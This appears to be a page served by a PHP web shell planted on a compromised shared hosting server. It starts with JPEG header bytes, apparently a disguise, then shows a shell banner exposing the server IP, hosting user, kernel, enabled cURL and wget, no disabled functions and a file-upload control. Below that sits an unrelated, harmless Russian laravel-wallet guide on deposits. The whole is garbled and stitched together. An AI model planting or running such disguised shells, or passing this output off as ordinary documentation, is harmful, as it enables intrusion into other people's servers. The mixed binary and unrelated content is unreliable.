����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.188.161.182 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/./gltevjme/cbt.bofirm.com/vendor/bavix/laravel-wallet/docs/ru/ |
Upload File : |
# Пополнение Что такое депозит? Депозит это актив, которым может пользоваться ваш посетитель для получения каких-либо благ. В данном случае это пополнение кошелька и не более. В Вашем проекте, кошелек может хранить копейки, центы, доллары или, вообще, бублики. В виртуальной валюте нет ценности. Она нужна для поощрения пользователя. Например, начиснять её можно за комментарии, дни рождения итд., а тратить на поднятие в поиске или получение звания на вашем ресурсе. --- ## Пользователь Добавим `HasWallet` trait и `Wallet` interface в модель. ```php use Bavix\Wallet\Traits\HasWallet; use Bavix\Wallet\Interfaces\Wallet; class User extends Model implements Wallet { use HasWallet; } ``` ## Создадим первый депозит Ищем пользователя: ```php $user = User::first(); ``` Так как пользователь имеет `HasWallet` trait, он так же имеет `balance`. Проверим баланс пользователя. ```php $user->balance; // int(0) ``` Баланс равен нулю, как мы и ожидали. Добавим ему 10 бубликов. ```php $user->deposit(10); $user->balance; // int(10) ``` Все верно! На балансе пользователя 10 бубликов.